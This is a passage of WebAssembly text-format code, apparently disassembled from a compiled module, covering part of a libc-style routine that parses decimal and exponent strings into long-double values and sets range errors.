(local.get $l8)))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $l7)
(i32.const -3)))
(br $B23))
(br_if $B23
(local.get $p5)))
(call $f67
(local.get $p1)
(i64.const 0)))
(call $f104
(i32.add
(local.get $l6)
(i32.const 96))
(f64.mul
(f64.convert_i32_s
(local.get $p4))
(f64.const 0x0p+0 (;=0;))))
(local.set $l19
(i64.load
(i32.add
(local.get $l6)
(i32.const 104))))
(local.set $l16
(i64.load offset=96
(local.get $l6)))
(br $B21))
(block $B26
(br_if $B26
(i64.gt_s
(local.get $l19)
(i64.const 7)))
(local.set $l15
(local.get $l19))
(loop $L27
(local.set $l10
(i32.shl
(local.get $l10)
(i32.const 4)))
(br_if $L27
(i64.ne
(local.tee $l15
(i64.add
(local.get $l15)
(i64.const 1)))
(i64.const 8)))))
(block $B28
(block $B29
(block $B30
(block $B31
(br_if $B31
(i32.ne
(i32.and
(local.get $l7)
(i32.const -33))
(i32.const 80)))
(br_if $B28
(i64.ne
(local.tee $l15
(call $f78
(local.get $p1)
(local.get $p5)))
(i64.const -9223372036854775808)))
(block $B32
(br_if $B32
(i32.eqz
(local.get $p5)))
(br_if $B30
(i64.gt_s
(i64.load offset=112
(local.get $p1))
(i64.const -1)))
(br $B29))
(local.set $l16
(i64.const 0))
(call $f67
(local.get $p1)
(i64.const 0))
(local.set $l19
(i64.const 0))
(br $B21))
(local.set $l15
(i64.const 0))
(br_if $B28
(i64.lt_s
(i64.load offset=112
(local.get $p1))
(i64.const 0))))
(i32.store offset=4
(local.get $p1)
(i32.add
(i32.load offset=4
(local.get $p1))
(i32.const -1))))
(local.set $l15
(i64.const 0)))
(block $B33
(br_if $B33
(local.get $l10))
(call $f104
(i32.add
(local.get $l6)
(i32.const 112))
(f64.mul
(f64.convert_i32_s
(local.get $p4))
(f64.const 0x0p+0 (;=0;))))
(local.set $l19
(i64.load
(i32.add
(local.get $l6)
(i32.const 120))))
(local.set $l16
(i64.load offset=112
(local.get $l6)))
(br $B21))
(block $B34
(br_if $B34
(i64.le_s
(local.tee $l19
(i64.add
(i64.add
(i64.shl
(select
(local.get $l14)
(local.get $l19)
(local.get $l8))
(i64.const 2))
(local.get $l15))
(i64.const -32)))
(i64.extend_i32_u
(i32.sub
(i32.const 0)
(local.get $p3)))))
(i32.store
(call $__errno_location)
(i32.const 68))
(call $f106
(i32.add
(local.get $l6)
(i32.const 160))
(local.get $p4))
(call $f111
(i32.add
(local.get $l6)
(i32.const 144))
(i64.load offset=160
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 160))
(i32.const 8)))
(i64.const -1)
(i64.const 9223090561878065151))
(call $f111
(i32.add
(local.get $l6)
(i32.const 128))
(i64.load offset=144
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 144))
(i32.const 8)))
(i64.const -1)
(i64.const 9223090561878065151))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 128))
(i32.const 8))))
(local.set $l16
(i64.load offset=128
(local.get $l6)))
(br $B21))
(block $B35
(br_if $B35
(i64.lt_s
(local.get $l19)
(i64.extend_i32_s
(i32.add
(local.get $p3)
(i32.const -226)))))
(block $B36
(br_if $B36
(i32.le_s
(local.get $l10)
(i32.const -1)))
(loop $L37
(call $f99
(i32.add
(local.get $l6)
(i32.const 416))
(local.get $l16)
(local.get $l17)
(i64.const 0)
(i64.const -4611967493404098560))
(local.set $l7
(call $f102
(local.get $l16)
(local.get $l17)
(i64.const 0)
(i64.const 4611123068473966592)))
(call $f99
(i32.add
(local.get $l6)
(i32.const 400))
(local.get $l16)
(local.get $l17)
(select
(local.get $l16)
(i64.load offset=416
(local.get $l6))
(local.tee $p1
(i32.lt_s
(local.get $l7)
(i32.const 0))))
(select
(local.get $l17)
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 416))
(i32.const 8)))
(local.get $p1)))
(local.set $l19
(i64.add
(local.get $l19)
(i64.const -1)))
(local.set $l17
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 400))
(i32.const 8))))
(local.set $l16
(i64.load offset=400
(local.get $l6)))
(br_if $L37
(i32.gt_s
(local.tee $l10
(i32.or
(i32.shl
(local.get $l10)
(i32.const 1))
(i32.gt_s
(local.get $l7)
(i32.const -1))))
(i32.const -1)))))
(block $B38
(block $B39
(br_if $B39
(i32.lt_s
(local.tee $l7
(select
(select
(local.tee $l7
(i32.wrap_i64
(local.tee $l14
(i64.add
(i64.sub
(local.get $l19)
(i64.extend_i32_s
(local.get $p3)))
(i64.const 32)))))
(i32.const 0)
(i32.gt_s
(local.get $l7)
(i32.const 0)))
(local.get $p2)
(i64.lt_s
(local.get $l14)
(i64.extend_i32_u
(local.get $p2)))))
(i32.const 113)))
(call $f106
(i32.add
(local.get $l6)
(i32.const 384))
(local.get $p4))
(local.set $l14
(i64.load
(i32.add
(local.get $l6)
(i32.const 392))))
(local.set $l15
(i64.const 0))
(local.set $l18
(i64.load offset=384
(local.get $l6)))
(local.set $l20
(i64.const 0))
(br $B38))
(call $f104
(i32.add
(local.get $l6)
(i32.const 352))
(call $f69
(f64.const 0x1p+0 (;=1;))
(i32.sub
(i32.const 144)
(local.get $l7))))
(call $f106
(i32.add
(local.get $l6)
(i32.const 336))
(local.get $p4))
(call $f70
(i32.add
(local.get $l6)
(i32.const 368))
(i64.load offset=352
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 352))
(i32.const 8)))
(local.tee $l18
(i64.load offset=336
(local.get $l6)))
(local.tee $l14
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 336))
(i32.const 8)))))
(local.set $l20
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 368))
(i32.const 8))))
(local.set $l15
(i64.load offset=368
(local.get $l6))))
(call $f107
(i32.add
(local.get $l6)
(i32.const 320))
(i32.add
(local.get $l10)
(local.tee $l7
(i32.and
(i32.and
(i32.lt_s
(local.get $l7)
(i32.const 32))
(i32.ne
(call $f101
(local.get $l16)
(local.get $l17)
(i64.const 0)
(i64.const 0))
(i32.const 0)))
(i32.eqz
(i32.and
(local.get $l10)
(i32.const 1)))))))
(call $f111
(i32.add
(local.get $l6)
(i32.const 304))
(local.get $l18)
(local.get $l14)
(i64.load offset=320
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 320))
(i32.const 8))))
(call $f99
(i32.add
(local.get $l6)
(i32.const 272))
(i64.load offset=304
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 304))
(i32.const 8)))
(local.get $l15)
(local.get $l20))
(call $f111
(i32.add
(local.get $l6)
(i32.const 288))
(local.get $l18)
(local.get $l14)
(select
(i64.const 0)
(local.get $l16)
(local.get $l7))
(select
(i64.const 0)
(local.get $l17)
(local.get $l7)))
(call $f99
(i32.add
(local.get $l6)
(i32.const 256))
(i64.load offset=288
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 288))
(i32.const 8)))
(i64.load offset=272
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 272))
(i32.const 8))))
(call $f113
(i32.add
(local.get $l6)
(i32.const 240))
(i64.load offset=256
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 256))
(i32.const 8)))
(local.get $l15)
(local.get $l20))
(block $B40
(br_if $B40
(call $f101
(local.tee $l16
(i64.load offset=240
(local.get $l6)))
(local.tee $l17
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 240))
(i32.const 8))))
(i64.const 0)
(i64.const 0)))
(i32.store
(call $__errno_location)
(i32.const 68)))
(call $f71
(i32.add
(local.get $l6)
(i32.const 224))
(local.get $l16)
(local.get $l17)
(i32.wrap_i64
(local.get $l19)))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 224))
(i32.const 8))))
(local.set $l16
(i64.load offset=224
(local.get $l6)))
(br $B21))
(i32.store
(call $__errno_location)
(i32.const 68))
(call $f106
(i32.add
(local.get $l6)
(i32.const 208))
(local.get $p4))
(call $f111
(i32.add
(local.get $l6)
(i32.const 192))
(i64.load offset=208
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 208))
(i32.const 8)))
(i64.const 0)
(i64.const 281474976710656))
(call $f111
(i32.add
(local.get $l6)
(i32.const 176))
(i64.load offset=192
(local.get $l6))
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 192))
(i32.const 8)))
(i64.const 0)
(i64.const 281474976710656))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l6)
(i32.const 176))
(i32.const 8))))
(local.set $l16
(i64.load offset=176
(local.get $l6))))
(i64.store
(local.get $p0)
(local.get $l16))
(i64.store offset=8
(local.get $p0)
(local.get $l19))
(global.set $g0
(i32.add
(local.get $l6)
(i32.const 432))))
(func $f77 (type $t27) (param $p0 i32) (param $p1 i32) (param $p2 i32) (param $p3 i32) (param $p4 i32) (param $p5 i32) (param $p6 i32)
(local $l7 i32) (local $l8 i32) (local $l9 i32) (local $l10 i32) (local $l11 i32) (local $l12 i32) (local $l13 i32) (local $l14 i32) (local $l15 i32) (local $l16 i32) (local $l17 i32) (local $l18 i32) (local $l19 i64) (local $l20 i64) (local $l21 i64) (local $l22 i64) (local $l23 i64) (local $l24 i64) (local $l25 f64)
(global.set $g0
(local.tee $l7
(i32.sub
(global.get $g0)
(i32.const 8976))))
(local.set $l8
(i32.const 0))
(local.set $l10
(i32.sub
(i32.const 0)
(local.tee $l9
(i32.add
(local.get $p4)
(local.get $p3)))))
(local.set $l19
(i64.const 0))
(local.set $l11
(i32.const 0))
(block $B0
(block $B1
(block $B2
(loop $L3
(block $B4
(br_if $B4
(i32.eq
(local.get $p2)
(i32.const 48)))
(br_if $B0
(i32.ne
(local.get $p2)
(i32.const 46)))
(br_if $B2
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B1))
(block $B5
(br_if $B5
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(local.set $l11
(i32.const 1))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $L3))
(local.set $l11
(i32.const 1))
(local.set $p2
(call $f68
(local.get $p1)))
(br $L3))
(unreachable))
(local.set $p2
(call $f68
(local.get $p1))))
(local.set $l8
(i32.const 1))
(local.set $l19
(i64.const 0))
(br_if $B0
(i32.ne
(local.get $p2)
(i32.const 48)))
(loop $L6
(block $B7
(block $B8
(br_if $B8
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B7))
(local.set $p2
(call $f68
(local.get $p1))))
(local.set $l19
(i64.add
(local.get $l19)
(i64.const -1)))
(br_if $L6
(i32.eq
(local.get $p2)
(i32.const 48))))
(local.set $l11
(i32.const 1))
(local.set $l8
(i32.const 1)))
(local.set $l12
(i32.const 0))
(i32.store offset=784
(local.get $l7)
(i32.const 0))
(local.set $l13
(i32.add
(local.get $p2)
(i32.const -48)))
(block $B9
(block $B10
(block $B11
(block $B12
(block $B13
(block $B14
(block $B15
(block $B16
(br_if $B16
(local.tee $l14
(i32.eq
(local.get $p2)
(i32.const 46))))
(local.set $l20
(i64.const 0))
(br_if $B16
(i32.le_u
(local.get $l13)
(i32.const 9)))
(local.set $l15
(i32.const 0))
(local.set $l16
(i32.const 0))
(br $B15))
(local.set $l20
(i64.const 0))
(local.set $l16
(i32.const 0))
(local.set $l15
(i32.const 0))
(local.set $l12
(i32.const 0))
(loop $L17
(block $B18
(block $B19
(br_if $B19
(i32.eqz
(i32.and
(local.get $l14)
(i32.const 1))))
(block $B20
(br_if $B20
(local.get $l8))
(local.set $l19
(local.get $l20))
(local.set $l8
(i32.const 1))
(br $B18))
(local.set $l14
(i32.eqz
(local.get $l11)))
(br $B14))
(local.set $l20
(i64.add
(local.get $l20)
(i64.const 1)))
(block $B21
(br_if $B21
(i32.gt_s
(local.get $l15)
(i32.const 2044)))
(local.set $l11
(i32.eq
(local.get $p2)
(i32.const 48)))
(local.set $l17
(i32.wrap_i64
(local.get $l20)))
(local.set $l14
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l15)
(i32.const 2))))
(block $B22
(br_if $B22
(i32.eqz
(local.get $l16)))
(local.set $l13
(i32.add
(i32.add
(local.get $p2)
(i32.mul
(i32.load
(local.get $l14))
(i32.const 10)))
(i32.const -48))))
(local.set $l12
(select
(local.get $l12)
(local.get $l17)
(local.get $l11)))
(i32.store
(local.get $l14)
(local.get $l13))
(local.set $l11
(i32.const 1))
(local.set $l16
(select
(i32.const 0)
(local.tee $p2
(i32.add
(local.get $l16)
(i32.const 1)))
(local.tee $p2
(i32.eq
(local.get $p2)
(i32.const 9)))))
(local.set $l15
(i32.add
(local.get $l15)
(local.get $p2)))
(br $B18))
(br_if $B18
(i32.eq
(local.get $p2)
(i32.const 48)))
(i32.store offset=8960
(local.get $l7)
(i32.or
(i32.load offset=8960
(local.get $l7))
(i32.const 1)))
(local.set $l12
(i32.const 18396)))
(block $B23
(block $B24
(br_if $B24
(i32.eq
(local.tee $p2
(i32.load offset=4
(local.get $p1)))
(i32.load offset=104
(local.get $p1))))
(i32.store offset=4
(local.get $p1)
(i32.add
(local.get $p2)
(i32.const 1)))
(local.set $p2
(i32.load8_u
(local.get $p2)))
(br $B23))
(local.set $p2
(call $f68
(local.get $p1))))
(local.set $l13
(i32.add
(local.get $p2)
(i32.const -48)))
(br_if $L17
(local.tee $l14
(i32.eq
(local.get $p2)
(i32.const 46))))
(br_if $L17
(i32.lt_u
(local.get $l13)
(i32.const 10)))))
(local.set $l19
(select
(local.get $l19)
(local.get $l20)
(local.get $l8)))
(block $B25
(br_if $B25
(i32.eqz
(local.get $l11)))
(br_if $B25
(i32.ne
(i32.and
(local.get $p2)
(i32.const -33))
(i32.const 69)))
(block $B26
(br_if $B26
(i64.ne
(local.tee $l21
(call $f78
(local.get $p1)
(local.get $p6)))
(i64.const -9223372036854775808)))
(br_if $B11
(i32.eqz
(local.get $p6)))
(local.set $l21
(i64.const 0))
(br_if $B26
(i64.lt_s
(i64.load offset=112
(local.get $p1))
(i64.const 0)))
(i32.store offset=4
(local.get $p1)
(i32.add
(i32.load offset=4
(local.get $p1))
(i32.const -1))))
(br_if $B12
(i32.eqz
(local.get $l11)))
(local.set $l19
(i64.add
(local.get $l21)
(local.get $l19)))
(br $B10))
(local.set $l14
(i32.eqz
(local.get $l11)))
(br_if $B13
(i32.lt_s
(local.get $p2)
(i32.const 0))))
(br_if $B13
(i64.lt_s
(i64.load offset=112
(local.get $p1))
(i64.const 0)))
(i32.store offset=4
(local.get $p1)
(i32.add
(i32.load offset=4
(local.get $p1))
(i32.const -1))))
(br_if $B10
(i32.eqz
(local.get $l14))))
(i32.store
(call $__errno_location)
(i32.const 28)))
(local.set $l20
(i64.const 0))
(call $f67
(local.get $p1)
(i64.const 0))
(local.set $l19
(i64.const 0))
(br $B9))
(block $B27
(br_if $B27
(local.tee $p1
(i32.load offset=784
(local.get $l7))))
(call $f104
(local.get $l7)
(f64.mul
(f64.convert_i32_s
(local.get $p5))
(f64.const 0x0p+0 (;=0;))))
(local.set $l19
(i64.load
(i32.add
(local.get $l7)
(i32.const 8))))
(local.set $l20
(i64.load
(local.get $l7)))
(br $B9))
(block $B28
(br_if $B28
(i64.gt_s
(local.get $l20)
(i64.const 9)))
(br_if $B28
(i64.ne
(local.get $l19)
(local.get $l20)))
(block $B29
(br_if $B29
(i32.gt_s
(local.get $p3)
(i32.const 30)))
(br_if $B28
(i32.shr_u
(local.get $p1)
(local.get $p3))))
(call $f106
(i32.add
(local.get $l7)
(i32.const 48))
(local.get $p5))
(call $f107
(i32.add
(local.get $l7)
(i32.const 32))
(local.get $p1))
(call $f111
(i32.add
(local.get $l7)
(i32.const 16))
(i64.load offset=48
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 48))
(i32.const 8)))
(i64.load offset=32
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 32))
(i32.const 8))))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 16))
(i32.const 8))))
(local.set $l20
(i64.load offset=16
(local.get $l7)))
(br $B9))
(block $B30
(br_if $B30
(i64.le_s
(local.get $l19)
(i64.extend_i32_u
(i32.div_s
(local.get $p4)
(i32.const -2)))))
(i32.store
(call $__errno_location)
(i32.const 68))
(call $f106
(i32.add
(local.get $l7)
(i32.const 96))
(local.get $p5))
(call $f111
(i32.add
(local.get $l7)
(i32.const 80))
(i64.load offset=96
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 96))
(i32.const 8)))
(i64.const -1)
(i64.const 9223090561878065151))
(call $f111
(i32.add
(local.get $l7)
(i32.const 64))
(i64.load offset=80
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 80))
(i32.const 8)))
(i64.const -1)
(i64.const 9223090561878065151))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 64))
(i32.const 8))))
(local.set $l20
(i64.load offset=64
(local.get $l7)))
(br $B9))
(block $B31
(br_if $B31
(i64.ge_s
(local.get $l19)
(i64.extend_i32_s
(i32.add
(local.get $p4)
(i32.const -226)))))
(i32.store
(call $__errno_location)
(i32.const 68))
(call $f106
(i32.add
(local.get $l7)
(i32.const 144))
(local.get $p5))
(call $f111
(i32.add
(local.get $l7)
(i32.const 128))
(i64.load offset=144
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 144))
(i32.const 8)))
(i64.const 0)
(i64.const 281474976710656))
(call $f111
(i32.add
(local.get $l7)
(i32.const 112))
(i64.load offset=128
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 128))
(i32.const 8)))
(i64.const 0)
(i64.const 281474976710656))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 112))
(i32.const 8))))
(local.set $l20
(i64.load offset=112
(local.get $l7)))
(br $B9))
(block $B32
(br_if $B32
(i32.eqz
(local.get $l16)))
(block $B33
(br_if $B33
(i32.gt_s
(local.get $l16)
(i32.const 8)))
(local.set $p1
(i32.load
(local.tee $p2
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l15)
(i32.const 2))))))
(loop $L34
(local.set $p1
(i32.mul
(local.get $p1)
(i32.const 10)))
(br_if $L34
(i32.ne
(local.tee $l16
(i32.add
(local.get $l16)
(i32.const 1)))
(i32.const 9))))
(i32.store
(local.get $p2)
(local.get $p1)))
(local.set $l15
(i32.add
(local.get $l15)
(i32.const 1))))
(local.set $l8
(i32.wrap_i64
(local.get $l19)))
(block $B35
(br_if $B35
(i32.ge_s
(local.get $l12)
(i32.const 9)))
(br_if $B35
(i32.gt_s
(local.get $l12)
(local.get $l8)))
(br_if $B35
(i32.gt_s
(local.get $l8)
(i32.const 17)))
(block $B36
(br_if $B36
(i32.ne
(local.get $l8)
(i32.const 9)))
(call $f106
(i32.add
(local.get $l7)
(i32.const 192))
(local.get $p5))
(call $f107
(i32.add
(local.get $l7)
(i32.const 176))
(i32.load offset=784
(local.get $l7)))
(call $f111
(i32.add
(local.get $l7)
(i32.const 160))
(i64.load offset=192
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 192))
(i32.const 8)))
(i64.load offset=176
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 176))
(i32.const 8))))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 160))
(i32.const 8))))
(local.set $l20
(i64.load offset=160
(local.get $l7)))
(br $B9))
(block $B37
(br_if $B37
(i32.gt_s
(local.get $l8)
(i32.const 8)))
(call $f106
(i32.add
(local.get $l7)
(i32.const 272))
(local.get $p5))
(call $f107
(i32.add
(local.get $l7)
(i32.const 256))
(i32.load offset=784
(local.get $l7)))
(call $f111
(i32.add
(local.get $l7)
(i32.const 240))
(i64.load offset=272
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 272))
(i32.const 8)))
(i64.load offset=256
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 256))
(i32.const 8))))
(call $f106
(i32.add
(local.get $l7)
(i32.const 224))
(i32.load
(i32.add
(i32.shl
(i32.sub
(i32.const 8)
(local.get $l8))
(i32.const 2))
(i32.const 2064))))
(call $f103
(i32.add
(local.get $l7)
(i32.const 208))
(i64.load offset=240
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 240))
(i32.const 8)))
(i64.load offset=224
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 224))
(i32.const 8))))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 208))
(i32.const 8))))
(local.set $l20
(i64.load offset=208
(local.get $l7)))
(br $B9))
(local.set $p1
(i32.load offset=784
(local.get $l7)))
(block $B38
(br_if $B38
(i32.gt_s
(local.tee $p2
(i32.add
(i32.add
(local.get $p3)
(i32.mul
(local.get $l8)
(i32.const -3)))
(i32.const 27)))
(i32.const 30)))
(br_if $B35
(i32.shr_u
(local.get $p1)
(local.get $p2))))
(call $f106
(i32.add
(local.get $l7)
(i32.const 352))
(local.get $p5))
(call $f107
(i32.add
(local.get $l7)
(i32.const 336))
(local.get $p1))
(call $f111
(i32.add
(local.get $l7)
(i32.const 320))
(i64.load offset=352
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 352))
(i32.const 8)))
(i64.load offset=336
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 336))
(i32.const 8))))
(call $f106
(i32.add
(local.get $l7)
(i32.const 304))
(i32.load
(i32.add
(i32.shl
(local.get $l8)
(i32.const 2))
(i32.const 2024))))
(call $f111
(i32.add
(local.get $l7)
(i32.const 288))
(i64.load offset=320
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 320))
(i32.const 8)))
(i64.load offset=304
(local.get $l7))
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 304))
(i32.const 8))))
(local.set $l19
(i64.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 288))
(i32.const 8))))
(local.set $l20
(i64.load offset=288
(local.get $l7)))
(br $B9))
(loop $L39
(br_if $L39
(i32.eqz
(i32.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.tee $l15
(i32.add
(local.tee $p2
(local.get $l15))
(i32.const -1)))
(i32.const 2)))))))
(local.set $l16
(i32.const 0))
(block $B40
(block $B41
(br_if $B41
(local.tee $p1
(i32.rem_s
(local.get $l8)
(i32.const 9))))
(local.set $l14
(i32.const 0))
(br $B40))
(local.set $p6
(select
(local.get $p1)
(i32.add
(local.get $p1)
(i32.const 9))
(i32.gt_s
(local.get $l8)
(i32.const -1))))
(block $B42
(block $B43
(br_if $B43
(local.get $p2))
(local.set $l14
(i32.const 0))
(local.set $p2
(i32.const 0))
(br $B42))
(local.set $l17
(i32.div_s
(i32.const 1000000000)
(local.tee $l11
(i32.load
(i32.add
(i32.shl
(i32.sub
(i32.const 8)
(local.get $p6))
(i32.const 2))
(i32.const 2064))))))
(local.set $l13
(i32.const 0))
(local.set $p1
(i32.const 0))
(local.set $l14
(i32.const 0))
(loop $L44
(i32.store
(local.tee $l15
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $p1)
(i32.const 2))))
(local.tee $l13
(i32.add
(local.tee $l12
(i32.div_u
(local.tee $l15
(i32.load
(local.get $l15)))
(local.get $l11)))
(local.get $l13))))
(local.set $l14
(select
(i32.and
(i32.add
(local.get $l14)
(i32.const 1))
(i32.const 2047))
(local.get $l14)
(local.tee $l13
(i32.and
(i32.eq
(local.get $p1)
(local.get $l14))
(i32.eqz
(local.get $l13))))))
(local.set $l8
(select
(i32.add
(local.get $l8)
(i32.const -9))
(local.get $l8)
(local.get $l13)))
(local.set $l13
(i32.mul
(local.get $l17)
(i32.sub
(local.get $l15)
(i32.mul
(local.get $l12)
(local.get $l11)))))
(br_if $L44
(i32.ne
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(local.get $p2))))
(br_if $B42
(i32.eqz
(local.get $l13)))
(i32.store
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $p2)
(i32.const 2)))
(local.get $l13))
(local.set $p2
(i32.add
(local.get $p2)
(i32.const 1))))
(local.set $l8
(i32.add
(i32.sub
(local.get $l8)
(local.get $p6))
(i32.const 9))))
(loop $L45
(local.set $l12
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l14)
(i32.const 2))))
(block $B46
(loop $L47
(block $B48
(br_if $B48
(i32.lt_s
(local.get $l8)
(i32.const 36)))
(br_if $B46
(i32.ne
(local.get $l8)
(i32.const 36)))
(br_if $B46
(i32.ge_u
(i32.load
(local.get $l12))
(i32.const 10384593))))
(local.set $l11
(i32.add
(local.get $p2)
(i32.const 2047)))
(local.set $l13
(i32.const 0))
(loop $L49
(block $B50
(block $B51
(br_if $B51
(i64.ge_u
(local.tee $l19
(i64.add
(i64.shl
(i64.load32_u
(local.tee $l11
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.tee $p1
(i32.and
(local.get $l11)
(i32.const 2047)))
(i32.const 2)))))
(i64.const 29))
(i64.extend_i32_u
(local.get $l13))))
(i64.const 1000000001)))
(local.set $l13
(i32.const 0))
(br $B50))
(local.set $l19
(i64.sub
(local.get $l19)
(i64.mul
(local.tee $l20
(i64.div_u
(local.get $l19)
(i64.const 1000000000)))
(i64.const 1000000000))))
(local.set $l13
(i32.wrap_i64
(local.get $l20))))
(i32.store
(local.get $l11)
(local.tee $l15
(i32.wrap_i64
(local.get $l19))))
(local.set $p2
(select
(local.get $p2)
(select
(local.get $p2)
(select
(local.get $p2)
(local.get $p1)
(local.get $l15))
(i32.eq
(local.get $p1)
(local.get $l14)))
(i32.ne
(local.get $p1)
(i32.and
(i32.add
(local.get $p2)
(i32.const -1))
(i32.const 2047)))))
(local.set $l11
(i32.add
(local.get $p1)
(i32.const -1)))
(br_if $L49
(i32.ne
(local.get $p1)
(local.get $l14))))
(local.set $l16
(i32.add
(local.get $l16)
(i32.const -29)))
(br_if $L47
(i32.eqz
(local.get $l13))))
(block $B52
(br_if $B52
(i32.ne
(local.tee $l14
(i32.and
(i32.add
(local.get $l14)
(i32.const -1))
(i32.const 2047)))
(local.get $p2)))
(i32.store
(local.tee $p1
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(i32.and
(i32.add
(local.get $p2)
(i32.const 2046))
(i32.const 2047))
(i32.const 2))))
(i32.or
(i32.load
(local.get $p1))
(i32.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.tee $p1
(i32.and
(i32.add
(local.get $p2)
(i32.const -1))
(i32.const 2047)))
(i32.const 2))))))
(local.set $p2
(local.get $p1)))
(local.set $l8
(i32.add
(local.get $l8)
(i32.const 9)))
(i32.store
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l14)
(i32.const 2)))
(local.get $l13))
(br $L45)))
(block $B53
(loop $L54
(local.set $l18
(i32.and
(i32.add
(local.get $p2)
(i32.const 1))
(i32.const 2047)))
(local.set $p6
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(i32.and
(i32.add
(local.get $p2)
(i32.const -1))
(i32.const 2047))
(i32.const 2))))
(loop $L55
(local.set $l15
(select
(i32.const 9)
(i32.const 1)
(i32.gt_s
(local.get $l8)
(i32.const 45))))
(block $B56
(loop $L57
(local.set $l11
(local.get $l14))
(local.set $p1
(i32.const 0))
(block $B58
(block $B59
(loop $L60
(br_if $B59
(i32.eq
(local.tee $l14
(i32.and
(i32.add
(local.get $p1)
(local.get $l11))
(i32.const 2047)))
(local.get $p2)))
(br_if $B59
(i32.lt_u
(local.tee $l14
(i32.load
(i32.add
(i32.add
(local.get $l7)
(i32.const 784))
(i32.shl
(local.get $l14)
(i32.const 2)))))
(local.tee $l13
(i32.load
(i32.add
(i32.shl
(local.get $p1)
(i32.const 2))
(i32.const 2048))))))
(br_if $B58
(i32.gt_u
(local.get $l14)
(local.get $l13)))
(br_if $L60
(i32.ne
(local.tee $p1
(i32.add
(local.get $p1)
(i32.const 1)))
(i32.const 4)))))
(br_if $B58
(i32.ne
(local.get $l8)
(i32.const 36)))
(local.set $l19
(i64.const 0))
(local.set $p1
(i32.const 0))
(local.set $l20
(i64.const 0))
(loop $L61
(block $B62
(br_if $B62
(i32.ne
(local.tee $l14
(i32.and
(i32.add
(local.get $p1)
(local.get $l11))
(i32.const 2047)))
(local.get $p2)))
(i32.store
(i32.add
(i32.add
(i32.shl
(local.tee $p2
(i32.and
(i32.add
(local.get $p2)
(i32.const 1))
(i32.const 2047)))
(i32.const 2))
(i32.add
(local.get $l7)
(i32.const 784)))
